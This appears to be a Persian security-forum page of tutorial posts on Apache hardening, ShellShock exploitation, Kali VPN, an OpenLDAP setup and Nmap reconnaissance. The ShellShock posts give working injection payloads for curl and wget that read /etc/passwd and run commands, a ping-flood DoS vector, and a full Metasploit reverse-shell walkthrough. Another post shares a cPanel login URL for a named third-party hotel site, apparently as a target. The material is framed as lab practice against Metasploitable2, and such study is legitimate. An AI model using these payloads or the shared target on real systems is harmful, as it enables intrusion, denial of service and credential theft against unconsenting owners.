HSTS (اتصالات امن به سرور) برای اجرای HSTS، شما فقط باید مقدار سربرگ حمل و نقل امن (Strict-Transport-Security) را که شامل تمام دامنه ها و زیر دامنه های شما است، تنظیم کنید Code: Header always set Strict-Transport-Security “max-age=31536000; includeSubDomains” حفاظت MIME Sniffing برای این، شما باید کد زیر را از فایل apache2/conf-available/security.conf/ فعال کنید و numniff را به عنوان یک مقدار قرار دهید. Code: Header set X-Content-Type-Options: “nosniff” جلوگیری از XSS و تزریقات دیگر برای جلوگیری از تزریقات غیر از XSS، شما باید سیاست Content-Security-Policy را با اضافه کردن قطعه کد زیر به فایل "etc/apache2/conf-available/security.conf/" تنظیم کنید. Code: Header set Content-Security-Policy “default-src ‘self’;” ادامه دارد ... ( کپی با ذکر منبع )
  19. در آموزش قبلی، از چارچوب Metasploit استفاده کردیم تا با استفاده از آسیب پذیری ShellShock یک Shell سطح پایین در سیستم هدف را به دست آوریم همان را نیز می توان با ارسال یک درخواست HTTP با Wget و Curl انجام داد. به منظور بهره برداری از باگ ShellShock ، مراحل زیر باید رخ دهد: شما باید سرور هدف را برای تزریق یک رشته خاص به یک متغیر محیطی بدست آورید و پس از تنظیم متغیر محیطی، هدف (به طور مستقیم یا غیر مستقیم) بایستی (یک نسخه آسیب پذیر) از bash shell را راه اندازی کند. برای درک بهتر پیامدهای چنین اشکال، یک فایل bash ساده با محتوای زیر ایجاد کنید و آن را در داخل پوشه usr / lib / cgi-bin/ ذخیره کنید. در این آموزش ما از همان آسیب پذیری که آدرس IP آن 192.168.20.128 است توسط Metasploitable2 برای نمایش استفاده می کنیم Command: cd /usr/lib/cgi-bin Command: sudo nano yeahhub.sh Code: #! /bin/bash echo “Content-type: text/html” echo “” echo “Hello yeahhub.com” اجازه 755 به فایل yeahhub.sh را با تایپ کردن "sudo chmod 755 yeahhub.sh" اعطا می کنیم در هر مرورگری فایل "http://192.168.20.128/cgi-bin/yeahhub.sh" به راحتی قابل دسترسی است. ساده ترین راه برای آزمایش یک وب سرور از طریق درخواست HTTP این است که فرمان bash را از طریق عامل کاربر تزریق کنید. Command: wget -U ‘() { :;}; /bin/bash -c “echo vulnerable”‘ http://192.168.20.128/cgi-bin/yeahhub.sh اگر یک خطای سرور 5XX ایجاد شود ، به این معنی است که احتمالا سرور به یک اکسپلویت آسیب پذیر است. همچنین می توانید با فرستادن یک درخواست با دستور CURL تست کنید: Command: curl -A ‘() { :;}; /bin/bash -c “echo vulnerable”‘ http://192.168.20.128/cgi-bin/yeahhub.sh اکنون آن را با wget فراخوانی کنید تا مبنای رشته عامل کاربر را تغییر دهد که در واقع فایل etc / passwd/ را نشان می دهد. Command: wget -U “() { test;};echo \”Content-type: text/plain\”; echo; echo; /bin/cat /etc/passwd” http://192.168.20.128/cgi-bin/yeahhub.sh دستور بالا تمامی محتویات فایل etc / passwd / از ماشین هدف شما را (یعنی Metasploitable2) را بیرون می آورد و آن را با نام yeahhub.sh (فایل متنی ساده) ذخیره می کند همانطور که در زیر نشان داده شده است : اگر دستور بالا را اشکال زدایی کنید، خروجی به این صورت واکنش نشان خواهد داد: () { test } echo \”Content-type: text/plain\” echo /bin/cat /etc/passwd Content-type فقط برای تصویر است و از خطای 500 جلوگیری می کند و محتویات فایل را نشان می دهد. مثال فوق نیز نشان می دهد که مشکل خاصی از خطاهای برنامه نویسی نیست و ورودی کاربر نمی تواند مورد سوء استفاده قرار گیرد. اگر فقط می خواهید از IP به عنوان یک ربات حمله استفاده کنید که منجر به حمله DOS شود، بردار حمله به ایت ترتین خواهد بود : () { :; }; ping -s 1000000 <victim IP> همچنین می توانید از یک اسکریپت shellshocker.py با منبع باز که یک ابزار خط فرمان است برای انجام آزمایش استفاده کنید Command: git clone https://github.com/liamim/shellshocker.git ShellShocker دو روش مختلف برای اجرا دارد: یک ابزار خط فرمان و یک رابط وب است که در Heroku مستقر شده است برای آزمایش در دستور زیر را تایپ کنید: Command: python shellshocker.py <your-target-domain> بهره برداری از ShellShock با CURL - درخواست مخرب را از طریق CURL به دستگاه هدفی ارسال کنید که آسیب پذیردر برابر ShellShock است Command: curl -v http://192.168.20.128/cgi-bin/yeahhub.sh -H “custom:() { ignored; }; /usr/bin/id” اگر میخواهید فایل etc / passwd / را مشاهده کنید ، فرمان زیر را اجرا کنید Command: curl http://192.168.20.128/cgi-bin/yeahhub.sh -H “custom:() { ignored; }; echo Content-Type: text/html; echo ; /bin/cat /etc/passwd “ ( کپی با ذکر منبع )
  20. در این آموزش با استفاده از چارچوب Metasploit سوءاستفاده از آسیب پذیری (ShellShock (CVE-2014-6271 را نشان می دهیم . از سری آسیب پذیری های ShellShock می توان آسیب پذیری Bash Bug را نام برد که در حال حاضر هزاران سیستم عامل لینوکس / یونیکس را تحت تاثیر قرار می دهد . این آسیب پذیری ابتدا توسط Stephane Chazelas کشف شد. اساسا، ShellShock به یک مهاجم اجازه می دهد دستوراتی را به عملکرد تعاریف در مقادیر متغیرهای محیطی اضافه کند . این آسیب پذیری می تواند به عنوان یک نوع حمله تزریق طبقه بندی شود و از زمانی که Bash بعد از تعریف تابع ، این دستورات را پردازش می کند تقریبا هر کد دلخواهی می تواند اجرا شود . مشکل ShellShock نمونه ای از آسیب پذیری اجرای کد دلخواه (ACE) است. به طور معمول حملات آسیب پذیری ACE بر روی برنامه هایی اجرا می شود که نیاز به درک بسیار پیچیده ای از سازوکار درونی اجرای داخلی کد ، طرح حافظه و ... دارند . به طور خلاصه، این نوع حمله نیاز به یک متخصص دارد. مهاجم از یک آسیب پذیری ACE برای آپلود یا اجرای یک برنامه استفاده می کند که به مهاجم یک روش ساده برای کنترل دستگاه هدف می دهد . این پروسه غالبا با اجرای "Shell" به دست می آید . Shell یک خط فرمان است که از طریق آن دستورات را می توان وارد و اجرا کرد . برای اینکه متوجه شوید در این زمینه آسیب پذیر هستید یا نه از فرمان زیر استفاده کنید Command: x='() { :;}; echo VULNERABLE’ bash -c : OR Command: env x='() { :;}; echo VULNERABLE; exit;’ bash -c ‘echo NOT VULNERABLE’ دستور bash -c را اجرا می کند متن () {:؛}؛ echo VULNERABLE به عنوان مقدار متغیر محیط x تنظیم شده است و یک نمونه از bash را ایجاد می کند تا اجرا شود برای اطلاعات بیشتر لطفا به stackexchange مراجعه کنید. اگر bash شما آسیب پذیر باشد ، سیستم شما کامل آسیب پذیر است زیرا با استفاده از bash در کنار وکتورهای حمله مانند اسکریپت های CGI، مشتریان DHCP و حساب های SSH محدود شده است بنابراین باید بررسی شود که آیا bin / sh bash / واقعی است یا یک Shell متفرقه می باشد . این آسیب پذیری در یک ویژگی خاص bash است و Shell های دیگر مانند dash و ksh تحت تاثیر قرار نمی گیرند. شما می توانید Shell پیش فرض را با اجرای همان تست بالا به جای bas بر روی sh بزنید : Command: x='() { :;}; echo VULNERABLE’ sh -c : بهره برداری با چارچوب Metasploit در اینجا ما یک محیط مجازی را با Metasploitable2 Machine راه اندازی کرده ایم که آدرس IP آن 192.168.20.128 است (ممکن است آی پی شما متفاوت باشد). Metasploitable2 یکی از بهترین ماشین مجازی ها می باشد برای انجام این کار، فقط یک اسکریپت اجرایی در cgi-bin / (که در usr / lib / cgi-bin / قرار دارد) ایجاد کنید و کد زیر را داخل آن اضافه کنید. Command: cd/usr/lib/cgi-bin/ Command: sudo nano yeahhub.sh Code: #! /bin/bash echo “Content-type: text/html” echo “” echo “Hello yeahhub.com” اجازه 755 به فایل yeahhub.sh را با تایپ کردن "sudo chmod 755 yeahhub.sh" اعطا می کنیم Command: sudo chmod 755 yeahhub.sh اکنون با دسترسی از طریق مرورگر می توانید بررسی کنید http://192.168.20.128/cgi-bin/yeahhub.sh حالا چارچوب Metasploit را با دستور msfconsole بارگذاری کنید و همه اکسپلویت های مرتبط با shellshock را با دستور جستجو لیست کنید، همانطور که در زیر مشاهده می کنید : 1. Command: search shellshock در اینجا لیست کامل اکسپلویت هایی است که نشان می دهد : 1) auxiliary/scanner/http/apache_mod_cgi_bash_env (2014-09-24 | normal | Apache mod_cgi Bash Environment Variable Injection (Shellshock) Scanner) 2) auxiliary/server/dhclient_bash_env (2014-09-24 | normal | DHCP Client Bash Environment Variable Code Injection (Shellshock)) 3) exploit/linux/http/advantech_switch_bash_env_exec (2015-12-01 | excellent | Advantech Switch Bash Environment Variable Code Injection (Shellshock)) 4) exploit/linux/http/ipfire_bashbug_exec (2014-09-29 | excellent | IPFire Bash Environment Variable Injection (Shellshock)) 5) exploit/multi/ftp/pureftpd_bash_env_exec (2014-09-24 | excellent | Pure-FTPd External Authentication Bash Environment Variable Code Injection (Shellshock)) 6) exploit/multi/http/apache_mod_cgi_bash_env_exec (2014-09-24 | excellent | Apache mod_cgi Bash Environment Variable Code Injection (Shellshock)) 7) exploit/multi/http/cups_bash_env_exec (2014-09-24 | excellent | CUPS Filter Bash Environment Variable Code Injection (Shellshock)) 8) exploit/multi/misc/legend_bot_exec (2015-04-27 | excellent | Legend Perl IRC Bot Remote Code Execution) 9) exploit/multi/misc/xdh_x_exec (2015-12-04 | excellent | Xdh / LinuxNet Perlbot / fBot IRC Bot Remote Code Execution) 10) exploit/osx/local/vmware_bash_function_root (2014-09-24 | normal | OS X VMWare Fusion Privilege Escalation via Bash Environment Code Injection (Shellshock)) 11) exploit/unix/dhcp/bash_environment (2014-09-24 | excellent | Dhclient Bash Environment Variable Injection (Shellshock)) 12) exploit/unix/smtp/qmail_bash_env_exec (2014-09-24 | normal | Qmail SMTP Bash Environment Variable Injection (Shellshock)) بارگیری و اکسپلوست کردن آسیب پذیری ، گزینه شماره 6 می باشد این ماژول از آسیب پذیری Shellshock بهره می برد و نقص آن در چگونگی Bash shell متغیرهای محیط خارجی است . این ماژول اسکریپتهای CGI را در وب سرور آپاچی با تنظیم کردن متغیر محیط HTTP_USER_AGENT به یک تابع مخرب، هدف قرار می دهد . Command: use exploit/multi/http/apache_mod_cgi_bash_env_exec برای نمایش تنظیمات مختلف این ماژول / اکسپلویت ، گزینه "show options" را تایپ کنید در اینجا می توانیم به موارد پیش فرض بسنده کنیم اما نیاز به تنظیم RHOST به آدرس IP هدف (192.168.20.128) و ( URI (/cgi-bin/yeahhub.sh داریم Command: set RHOST 192.168.20.128 Command: set TARGETURI /cgi-bin/yeahhub.sh در گام بعدی باید یک payload را انتخاب کنید تا اتصال TCP را به شما نشان دهد Command: set payload linux/x86/shell/reverse_tcp همچنین می توانید برای مشاهده پیلود های مختلف “show payloads” را تایپ کنید که البته این مورد اختیاری می باشد علاوه بر این، باید آدرس LHOST خود را با آدرس IP دستگاه خود (Kali Linux - 192.168.20.129) تنظیم کنید . Command: set LHOST 192.168.20.129 و سپس دستور "check" را تایپ کنید تا مطمئن شوید هدف شما همان آسیب پذیری ShellShock را دارد یا خیر مشاهده می کنیم که هدف واقعا آسیب پذیر است، بنابراین از دستور اکسپلوست برای راه اندازی حمله استفاده کنید بعد از این عملیات یک shell session را باز می کند که در آنجا می توانید دستورات سطح سیستم مانند شناسه ID یا whoami را برای مشاهده اطلاعات مربوط به کاربر فعلی اجرا کنید توجه داشته باشید : این یک shell محدود است، به این معنی که شما فقط می توانید به مقدار محدود از سطح سیستم را برای بالا بردن سطح دسترسی اجرا کنید ، برای همین باید با استفاده از یک Linux Kernel Exploit اقدام به افزایش سطح دسترسی محلی کنید. ( کپی با ذکر منبع )
  21. شبکه خصوصی مجازی یا به اختصار VPN یک شبکه خصوصی را از طریق یک شبکه عمومی مانند اینترنت گسترش می دهد . وی پی ان این امکان را به ما می دهد تا رایانه خود را برای ارسال و دریافت داده ها از طریق یک شبکه عمومی به طور مستقیم با یک شبکه خصوصی متصل کنیم و از قابلیت های آن مانند امنیت بالا و مدیریت سیاست های شبکه خصوصی بهرمند شویم در لینوکس کالی گزینه وی پی ان به طور پیش فرض غیر فعال می باشد که در این آموزش اضافه کردن یک VPN و فعال کردن VPN در Kali Linux را فرا خواهید گرفت چرا باید از VPN استفاده کنیم ؟ VPN حریم شخصی را فراهم کرده و آدرس IP شما را پنهان می کند. استفاده از هر شبکه با رمزگذاری (عمومی یا خصوصی یا وای فای رایگان) به طور محرمانه از هر کجا به خانه یا شبکه کاری خود می توانید متصل شوید دور زدن سانسور و نظارت بر محتوا دور زدن فایروال و سیاست سانسور در محل کار یا هر جایی! دسترسی به خدمات محدود شده منطقه ای در هر مکانی ارسال یا دریافت فایل ها به صورت خصوصی مخفی کردن تماس های صوتی / VOIP پنهان کردن شناسه خود وقتی که از موتورهای جستجو استفاده می کنید عملیات تست نفوذ فعال کردن VPN در کالی لینوکس ترمینال کالی را باز کنید و دستور زیر را تایپ کنید : apt install network-manager-openvpn-gnome network-manager-pptp network-manager-pptp-gnome strongswan-nm network-manager-vpnc network-manager-vpnc-gnome اکنون می توانید یک اتصال VPN اضافه کنید
  22. سلام ببین این به دردت میخوره https://cpanel.retaj-hotels.com/
  23. سلام دوست گرامی خواهش میکنم امیدوارم که مفید واقع بشه slapd.conf فایل پیکر بندی LDAP SERVER و rootdn یه کاربری ریشه با پارامترهای تعیین شده برای عملیات در LDAP که معمولا محدودیتی هم نداره بنابراین rootdn می تونه به عنوان کاربر ریشه ای برای دایرکتوری LDAP شناخته بشه این کاربری ریشه داخل slapd.conf قرار داره و بعد از پیکر بندی ، Rootdn رو به مقادیری که می خوایم تغییر میدیم معمولا DN پایه شما به عنوان پسوند تو فایل تعریف شده
  24. LDAP چیست همانطور که می دانیم لینوکس ثبت نام کاربران را در فایل /etc/passwd نگه می دارد بنابراین اگر بخواهید به سیستم لینوکس دسترسی داشته باشید باید یک کاربری تعریف شده در آن فایل داشته باشید گاها ممکن است ما مدیریت چندین سیستم با تعداد کاربران زیادی را در دست داشته باشیم بنابراین برای مدیریت مواردی مثل اصلاح رمز عبور باید به سراغ تک تک سیستم ها برویم در اینجا نیاز به یک سیستم مدیریت حساب کاربری متمرکز و یک پایگاه داده برای نگه داشتن همه اطلاعات مربوط به حساب های کاربری کاملا احساس میشود بنابراین رایج ترین راه حل برای این مشکل، پروتکل دسترسی آسان به فهرست دیتابیس یا (LDAP) است. LDAP معمولا از پارامتر client/server استفاده می کند استفاده از LDAP LDAP نه تنها یک لیست از کاربران را نگه می دارد بلکه می توانید آنها را به عنوان ذخیره سازی برای فایل های خود استفاده کنید و همانطور که در بالا ذکر شد، می توان برای تأیید اعتبار کاربران استفاده کرد و همچنین می توانید سوابق DNS را در سرور LDAP ذخیره کنید. LDAP را می توان به عنوان سرویس زنجیره ای خدمات دایرکتوری برای یک سازمان برای ارائه اطلاعات در مورد کاربران یا کارمندان، ادارات، اطلاعات تماس، شماره تلفن، آدرس، داده های خصوصی یا هر چیز دیگر استفاده کرد. پیاده سازی سرور LDAP LDAP یک استاندارد پروتکل باز است ، بسیاری از شرکت ها پیاده سازی خود را با این پروتکل انجام می دهند نمونه های پیاده سازی تجاری LDAP مانند : مایکروسافت Active Directory دایرکتوری اینترنتی اوراکل دایرکتوری یکپارچه اوراکل دایرکتوری امنیتی سرور IBM سرور دایرکتوری UnboundID NetIQ eDirectory یا eDirectory دایرکتوری CA یا دایرکتوری eTrust CA پیاده سازی های متن باز رایگان : OpenLDAP ForgeRock OpenDJ آپاچی DS دایرکتوری سرور 389 در این آموزش نحوه نصب و پیکربندی یک سرور OpenLDAP و همچنین یک سرویس OpenLDAP را توضیح خواهیم داد نصب گام به گام و پیکربندی OpenLDAP گام 1 : الزامات compat-openldap.i386 0:2.1.30-6.4E openldap-clients.i386 0:2.2.13-6.4E openldap-devel.i386 0:2.2.13-6.4E openldap-servers.i386 0:2.2.13-6.4E openldap-servers-sql.i386 0:2.2.13-6.4E می توانید آنها را با دستور زیر نصب کنید yum install *openldap* -y گام 2 : استارت سرویس [root@ldap ~]# chkconfig --levels 235 ldap on [root@ldap ~]# service ldap start گام 3 : ایجاد یوزر پسورد LDAP root [root@ldap ~]# slappasswd New password: Re-enter new password: {SSHA}cWB1VzxDXZLf6F4pwvyNvApBQ8G/DltW [root@ldap ~]# گام 4 : به روز رسانی /etc/openldap/slapd.conf برای رمز عبور Root [root@ldap ~]# vi /etc/openldap/slapd.conf #68 database bdb #69 suffix "dc=adminmart,dc=com" #70 rootdn "cn=Manager,dc=adminmart,dc=com" #71 rootpw {SSHA}cWB1VzxDXZLf6F4pwvyNvApBQ8G/DltW گام 5 : اعمال تغییرات [root@ldap ~]# service ldap restart گام 6 : ایجاد کاربران تست [root@ldap ~]# useradd test1 [root@ldap ~]# passwd test1 Changing password for user test1. New UNIX password: Retype new UNIX password: passwd: all authentication tokens updated successfully. [root@ldap ~]# useradd test2 [root@ldap ~]# passwd test2 Changing password for user test2. New UNIX password: Retype new UNIX password: passwd: all authentication tokens updated successfully. [root@ldap ~]# توجه: برای بقیه کاربران هم همین کار را بکنید گام 7 : کاربران محلی را به LDAP منتقل کنید [root@ldap ~]# grep root /etc/passwd > /etc/openldap/passwd.root [root@ldap ~]# grep test1 /etc/passwd > /etc/openldap/passwd.test1 [root@ldap ~]# grep test2 /etc/passwd > /etc/openldap/passwd.test2 توجه: برای بقیه کاربران هم همین کار را بکنید گام 8 : به روز رسانی تنظیمات پیش فرض در فایل /usr/share/openldap/migration/migrate_common.ph #71 $DEFAULT_MAIL_DOMAIN = "adminmart.com"; #74 $DEFAULT_BASE = "dc=adminmart,dc=com"; گام 9 : تبدیل فایل passwd.file به فایل (ldif (LDAP Data Interchange Format [root@ldap ~]# /usr/share/openldap/migration/migrate_passwd.pl /etc/openldap/passwd.root /etc/openldap/root.ldif [root@ldap ~]# /usr/share/openldap/migration/migrate_passwd.pl /etc/openldap/passwd.test1 /etc/openldap/test1.ldif [root@ldap ~]# /usr/share/openldap/migration/migrate_passwd.pl /etc/openldap/passwd.test2 /etc/openldap/test2.ldif توجه: برای بقیه کاربران هم همین کار را بکنید گام 10 : به روز رسانی فایل root.ldif برای "مدیر" LDAP سرور [root@ldap ~]# vi /etc/openldap/root.ldif #1 dn: uid=root,ou=People,dc=adminmart,dc=com #2 uid: root #3 cn: Manager #4 objectClass: account گام 11 : یک فایل ldif domain ایجاد کنید (/etc/openldap/adminmart.com.ldif) [root@ldap ~]# cat /etc/openldap/adminmart.com.ldif dn: dc=adminmart,dc=com dc: adminmart description: LDAP Admin objectClass: dcObject objectClass: organizationalUnit ou: rootobject dn: ou=People, dc=adminmart,dc=com ou: People description: Users of adminmart objectClass: organizationalUnit گام 12 : وارد کردن همه کاربران به LDAP اضافه کردن فایل دامنه ldif [root@ldap ~]# ldapadd -x -D "cn=Manager,dc=adminmart,dc=com" -W -f /etc/openldap/adminmart.com.ldif Enter LDAP Password: adding new entry "dc=adminmart,dc=com" adding new entry "ou=People, dc=adminmart,dc=com" [root@ldap ~]# کاربران را اضافه کنید : [root@ldap ~]# ldapadd -x -D "cn=Manager,dc=adminmart,dc=com" -W -f /etc/openldap/root.ldif Enter LDAP Password: adding new entry "uid=root,ou=People,dc=adminmart,dc=com" adding new entry "uid=operator,ou=People,dc=adminmart,dc=com" [root@ldap ~]# [root@ldap ~]# ldapadd -x -D "cn=Manager,dc=adminmart,dc=com" -W -f /etc/openldap/test1.ldif Enter LDAP Password: adding new entry "uid=test1,ou=People,dc=adminmart,dc=com" [root@ldap ~]# [root@ldap ~]# ldapadd -x -D "cn=Manager,dc=adminmart,dc=com" -W -f /etc/openldap/test2.ldif Enter LDAP Password: adding new entry "uid=test2,ou=People,dc=adminmart,dc=com" [root@ldap ~]# توجه: برای بقیه کاربران هم همین کار را بکنید گام 13 : اعمال تغییرات [root@ldap ~]# service ldap restart گام 14 : تست LDAP سرور در این گام باید تمام اطلاعات کاربر را چاپ کند [root@ldap ~]# ldapsearch -x -b 'dc=adminmart,dc=com' '(objectclass=*)' ( کپی برداری با ذکر منبع )
  25. شناسایی چیست (Reconnaissance) : جمع آوری اطلاعات مفید از هدف یا اهداف مختلف میتواند زمینه یک نفوذ را فراهم آورد . از دیدگاه پویش گران ، این حوزه برای فرایند نفوذ اطلاعات جمع آوری شده بسیار مفید است بنابراین برای جلوگیری از این نوع اقدامات مخرب ، شخص تست نفوذ گر تلاش می کند از اطلاعات جمع آوری شده برای ترمیم آسیب پذیری ها استفاده کند که به این فرآیند Footprinting نیز گفته می شود . با جمع آوری اطلاعات می توان به اهدافی دست یافت که موارد مهم آن در این گام گفته می شود : آدرس ایمیل شماره پورت / پروتکل ها جزئیات سیستم عامل خدمات در حال اجرا اطلاعات مسیریابی / اطلاعات DNS شناسایی و گریز از دیواره آتش ... بنابراین برای جمع آوری اطلاعات، نیاز به اسکن اولیه احساس می شود . برای عمل اسکن ، Nmap یک ابزار عالی جهت کشف پورت های باز، شماره پروتکل، جزئیات سیستم عامل، جزئیات فایروال و غیره است . معرفی Nmap (Nmap (Network Mapper یک ابزار منبع باز متشکل از اکتشافات شبکه و ممیزی امنیتی است که ابتدا توسط گوردون "فدور" لیون منتشر شده است (وب سایت رسمی http://nmap.org) . Nmap یک ابزار رایگان و متن باز (مجوز دار) برای کشف شبکه و ممیزی امنیتی است . بسیاری از مدیران شبکه برای انجام وظایفی مانند فهرست موجودی شبکه ، مدیریت برنامه های ارتقاء سرویس و نظارت بر میزبان یا سرویس دیگر از این ابزار استفاده می کنند نصب Nmap Nmap از محیط های مختلف به خوبی پشتیبانی می کند ویندوز: نصب از سایت رسمی http://nmap.org برای ویندوز، هم نسخه GUI و نسخه خط فرمان در دسترس هستند . گزینه GUI برای Nmap Zenmap است. لینوکس (اوبونتو و دبیان) : دستور فوق را در ترمینال لینوکس اجرا کنید : apt-get install nmap در تصویر زیر، Nmap را در لینوکس Kali نصب می کنیم موتور اسکریپت Nmap موتور اسکریپت (Nmap (NSE یکی از قوی ترین و انعطاف پذیر ترین ویژگی های Nmap است . اساسا این اسکریپت ها در زبان برنامه نویسی Lua نوشته شده اند . عموما موتور اسکریپت Nmap کارهای زیادی را انجام می دهد که به مهمترین آنها اشاره میکنیم : 1. Network discovery کشف شبکه یا Network discovery اساسی ترین ویژگی Nmap می باشد که نمونه هایی از آن را ذکر میکنیم: جستجوی داده های WhoIs بر اساس حوزه هدف پرس و جو کردن ARIN، RIPE، یا APNIC برای IP هدف جهت تعیین مالکیت انجام جستجوی متمایز در پورت های باز نمایش سوالات SNMP فهرست موجود در NFS / SMB / RPC اشتراک ها و خدمات 2. Vulnerability detection : در تشخیص آسیب پذیری هنگامی که یک آسیب پذیری جدید کشف می شود، اغلب متخصصان تمایل دارند شبکه های خود را قبل از اینکه پویشگران غیر مجاز آسیب پذیری ها را شناسایی کنند به سرعت ترمیم کنند در حالی که Nmap یک اسکنر آسیب پذیری جامع نیست وتوانایی اصلی آن در جمع آوری اطلاعات است . NSE به اندازه کافی قدرتمند است اما با این حال نیاز به بررسی آسیب پذیری نیز دارد باید به این نکته توجه داشته باشید که اسکریپت های شناسایی آسیب پذیری زیادی هم در حال حاضر در دسترس هستند و می توان از آنها استفاده کرد . 3. Backdoor detection بسیاری از مهاجمان غیر مجاز و worms های اتوماتیک برای ورود مجدد اقدام به ایجاد درب پشتی می نمایند . برخی از این Backdoor ها توسط ابزار Nmap به صورت منظم در ورژن expression-based قابل شناسایی می باشد 4. Vulnerability exploitation NSE به عنوان یک زبان برنامه نویسی عمومی نه تنها جهت پیدا کردن آسیب پذیری بلکه می تواند آز آسیب پذیری ها بهره برداری نیز کند . قابلیت اضافه کردن اسکریپت های اکسپلویت سفارشی برای بعضی افراد (به خصوص تست های نفوذگر) ارزشمند است هر چند که تست نفوذ گرها قصد ندارند Nmap را به یک چارچوب بهره برداری از قبیل Metasploit تبدیل کنند . همانطور که در شکل زیر می بینید از گزینه های (-sc) (یا -cript) که گزینه های اسکن اسکریپت پیش فرض برای شبکه هدف است استفاده کرده ایم . در نتایج بدست آمده ssh، rpcbind، netbios-sn متوجه می شوید که پورت ها فیلتر شده یا بسته شده اند . بنابراین می توان تشخیص داد برخی از انواع فایروال ها در مسیر ما قرار دارند که درخواست ما را مسدود می کنند در گام های بعدی درباره چگونگی شناسایی فایروال ها و تلاش برای فرار از آنها و دور زدن فایروال ها بحث خواهیم کرد . حالا من میخواهم اسکن پینگ با حالت کشف روی (اسکریپت) را اجرا کنم تا تمام روشهای ممکن برای اسکن را امتحان کرده باشم به طوری که بتوانیم اطلاعات بیشتری را دریافت کنیم . همانطور که در تصویر می بینید، Nmap در حال تلاش است تا تمام روش های ممکن به عنوان قوانین اسکریپت تست کند . برای اطلاعات بیشتر تصویر بعدی را مشاهده کنید. آیا می توانید پورت ها و پروتکل ها را ببینید؟ در خط اول می توانید dns-bruteforce را ببینید که میزبان حاوی برخی از وبلاگ ها، CMS، sql، log، mail و بسیاری دیگر است . بنابراین در مرحله می توانیم تزریق SQL را انجام دهیم، وبلاگ ممکن است وردپرس، جوملا و غیره باشد بنابراین می توانیم برای یک آسیب پذیری شناخته شده CMS یک حمله را ترتیب بدهیم در مباحث بعدی من توضیح خواهم داد که چگونه یک موتور اسکریپت Nmap خود را بنویسید و چگونه از Nmap استفاده کنید . تکنیک های اسکن اساسی در این بخش سعی میکنم روشهای اساسی شبکه / میزبان را نشان بدهم اما قبل از آن شما باید برخی از اطلاعات اولیه درباره وضعیت بعد از اسکن Nmap را بدانید . وضعیت پورت: پس از اسکن، ممکن است همزمان با وضعیت پورت برخی از دیگر نتایج بدست آمده مانند فیلترینگ، باز، بسته و غیره را مشاهده کنید . توضیحی در مورد مهمترین نتایج در ادامه ذکر میشود Open : این وضعیت نشان می دهد که یک برنامه برای اتصال روی این پورت در حال گوش دادن است . Close : این وضعیت نشان می دهد هیچ نرم افزاری برای گوش دادن به این پورت وجود ندارد . Filtered : این وضعیت نشان می دهد که جستجو و کاوش ها دریافت نشده و هیچ جوابی گزارش نمیشود که می تواند از اعمال مختلف فیلتر پورتها باشد Unfiltered: این وضعیت نشان می دهد که جستجو و کاوش ها دریافت شده ولی هیچ جوابی گزارش نمیشود Open / Filtered : این نشان می دهد که پورت فیلتر شده یا باز است اما Nmap قادر به ایجاد حالت نیست . Closed/Filtered : این نشان می دهد که پورت فیلتر شده یا بسته شده است اما Nmap قادر به ایجاد حالت نیست . اسکن یک شبکه واحد ابتدا به Nmap خود بروید (یا ویندوز / لینوکس) و دستور زیر را اجرا کنید : nmap 192.168.1.1 (or) <host name> اسکن چندین شبکه / اهداف در ابزار Nmap شما می توانید اهداف متعددی را برای جمع آوری اطلاعات و کشف میزبان اسکن کنید . دستور زیر برای کل زیر شبکه و همچنین آدرس های مختلف IP کار خواهد کرد . به شکل زیر توجه کنید Nmap host1 host2 host3 etc…. در این گام می توان اسامی نام های متعدد وب سایت / دامنه را در یک زمان با یک فرمان اسکن کرد . در تصویر زیر نام دامنه را به آدرس آی پی معادل آن تبدیل می کند و اهداف را اسکن می کند . نمونه فرمان اسکن محدوده آدرس IP nmap 192.168.2.1-192.168.2.100 Nmap همچنین می تواند برای اسکن کل زیر شبکه با استفاده از (CIDR (Classless Inter-Domain Routing مورد استفاده قرار گیرد. نحو استفاده: nmap [شبکه / CIDR] Ex: nmap 192.168.2.1/24 اسکن لیستی از اهداف اگر تعداد زیادی سیستم برای اسکن داشته باشید، می توانید آدرس IP (یا نام میزبان) را در یک فایل متنی وارد کنید و از آن فایل به عنوان ورودی برای Nmap در خط فرمان استفاده کنید . nmap -iL [list.txt] اسکن تصادفی اهداف پارامتر iR- را می توان برای انتخاب میزبان های اینترنتی تصادفی برای اسکن استفاده کرد. Nmap به صورت تصادفی تعداد مشخصی از اهداف را تولید و تلاش می کند تا آنها را اسکن کند. nmap -iR [number of host] انجام یک اسکن تصادفی زیاد جالب به نظر نمیرسد مگر اینکه به شما برخی از پروژه های خاص مرتبط با این وضعیت داده شود . حذف میزبان گزینه -exclude در Nmap برای حذف میزبان از یک اسکن استفاده می شود. Syntax : nmap [targets] –exclude [host(s)] Ex : nmap 192.168.2.1/24 –exclude 192.168.2.10 اسکن تهاجمی اسکن تهاجمی رایج ترین گزینه ها را در Nmap انتخاب می کند تا سعی شود یک جایگزین ساده برای نوشتن رشته های طولانی داشته باشید . همچنین برای traceroute (مسیریابی) و غیره کار خواهد کرد nmap-host کشف با Nmap کشف با Nmap بسیار جالب و بسیار مفید برای آزمایش کنندگان نفوذ است . در طی کشف می توان خدمات ، شماره های پورت ، حضور فایروال ، پروتکل ، سیستم عامل و غیره را یاد گرفت . در این حوزه یک به یک بحث خواهیم کرد Don’t Ping گزینه -PN ، دستور Nmap را برای چک کردن کشف پیش فرض انجام می دهد و اسکن کامل پورت را روی هدف انجام می دهد Syntax : nmap –PN Target با مشخص کردن این گزینه ها، Nmap پورت های باز بدون پینگ را کشف می کند فقط اسکن پینگ (Ping Only Scan) : گزینه Sp- صرفا فقط مسئول اسکن پینگ است . هنگامی که شما یک گروه از آدرس های IP را دارید و نمی دانید کدام یک قابل دسترسی است این گزینه مفید خواهد بود . با مشخص کردن یک هدف خاص ، می توانید اطلاعات بیشتری را دریافت کنید، مانند آدرس MAC. Syntax : nmap –Sp target (کپی برداری با ذکر منبع) ادامه دارد ...

تاریخچه انجمن امنیتی ایران سایبر

شرکت امنیتی ایران سایبر با بکار گیری افراد متخصص در حوزه امنیت و ارائه راه کار در زمینه امنیت شبکه و امنیت بانک های اطلاعاتی در سال ۲۰۰۹ کار خود را آغاز نمود.

این شرکت با تعریفی جدید از ارائه خدمات و مشاوره در حوزه امنیت سازمان ها و مراکز، تست نفوذ، و برنامه نویسی در تعاملی سازنده با سازمان ها، مشتری مداری را سرلوحه کار خود قرار داده و آماده همکاری با شرکت ها و ارگان های مختلف می باشد.

رعایت قوانین

